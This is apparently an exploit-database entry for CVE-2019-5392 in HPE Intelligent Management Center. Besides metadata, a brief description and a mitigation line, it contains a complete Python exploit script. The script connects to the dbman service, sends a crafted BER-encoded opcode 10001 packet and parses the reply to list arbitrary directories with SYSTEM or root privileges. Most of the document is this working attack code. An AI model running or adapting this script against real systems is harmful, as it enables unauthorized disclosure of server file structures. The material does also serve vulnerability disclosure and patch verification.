header-logo
Suggest Exploit
vendor:
Intelligent Management Center
by:
Rishabh Sharma
5.3
CVSS
MEDIUM
Information Disclosure
200
CWE
Product Name: Intelligent Management Center
Affected Version From: iMC_PLAT_7.1_E0302_Standard_Windows
Affected Version To: iMC_PLAT_7.2_E0403_Std_Win
Patch Exists: YES
Related CWE: CVE-2019-5392
CPE: hpe:imc_plat_7.1_e0302_standard_windows
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Windows 7
2019

HPE Intelligent Management Center dbman Command 10001 Information Disclosure

This vulnerability allow remote attacker to view the contents of arbitrary directories under the security context of the SYSTEM or root user.

Mitigation:

Restrict access to the dbman service to trusted hosts and networks.
Source

Exploit-DB raw data:

#!/opt/local/bin/python2.7

# Exploit Title: HPE Intelligent Management Center dbman Command 10001 Information Disclosure
# Date: 22-09-2019
# Exploit Author: Rishabh Sharma (Linkedin: rishabh2241991)
# Vendor Homepage: www.hpe.com
# Software Link: https://h10145.www1.hpe.com/Downloads/DownloadSoftware.aspx?SoftwareReleaseUId=16759&ProductNumber=JG747AAE&lang=en&cc=us&prodSeriesId=4176535&SaidNumber=
# Tested on Version: iMC_PLAT_7.1_E0302_Standard_Windows and iMC_PLAT_7.2_E0403_Std_Win
# Tested on: Windows 7
# CVE : CVE-2019-5392
# Conversion of Nessus Plugin to Python Exploit
# Nessus Plugin Name: hp_imc_dbman_cmd_10001_info_disclosure.nasl
# Description: This vulnerability allow remote attacker to view the contents of arbitrary directories under the security context of the SYSTEM or root user.
# See Also: https://www.tenable.com/plugins/nessus/118038

from pyasn1.type.univ import *
from pyasn1.type.namedtype import *
from pyasn1.codec.ber import encoder
import struct
import binascii
import socket, sys
import sys
import re

if len(sys.argv) != 4:
    print "USAGE: python %s <ip> <port> <directory>" % (sys.argv[0])
    sys.exit(1)
else:
    ip = sys.argv[1]
    port = int(sys.argv[2]) # Default Port 2810
    directory = sys.argv[3]
    payload = directory.replace("\\","\\\\") 
    opcode = 10001

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print "Socket Created.."
except socket.error:
	print 'Failed to create socket'
	sys.exit()
victim_address = (ip,port)
print('connecting to {} port {}'.format(*victim_address))
sock.connect((ip, port))

class DbmanMsg(Sequence):
    componentType = NamedTypes(
        NamedType('flag', Integer()),
        NamedType('dir', OctetString())
    )

data = DbmanMsg()
data['flag'] = 1
data['dir'] = payload
encodeddata = encoder.encode(data, defMode=False)
dataLen = len(encodeddata)
values = (opcode, dataLen, encodeddata)
s = struct.Struct(">ii%ds" % dataLen)
packed_data = s.pack(*values)
print 'Format string  :', s.format
print 'Uses           :',s.size, 'bytes'
print 'Packed Value   :', binascii.hexlify(packed_data)
print '\n'
print 'Sending Payload...'
sock.send(packed_data)
BUFF_SIZE = 4000
res = sock.recv(BUFF_SIZE)
rec =  len(res)
if (rec == 0):
	print "No data in the directory"
else:
        print "Data Recived: "+str(rec)
	a = repr(res)
	b = a
	b = re.sub(r'(x\d\d)', '', b)
	b = re.sub(r'(\\x[\d].)', '', b)
	b = re.sub(r'(\\x..)', '', b)
	replacestring = ['"','\\n','\\r','\\t','0']
	print "Data in "+payload+" Directory: \n"
	for r in replacestring:
		b = b.replace(r,'')
	b = b.replace("'","")
	#print b #Remove '#' if output results is not proper
	matches = re.finditer(r"([\\]*)([.[a-zA-Z\d\s]*)", b, re.MULTILINE)
	for matchNum, match in enumerate(matches, start=1):
                
		print match.group(2)
print "Done..."
sock.close()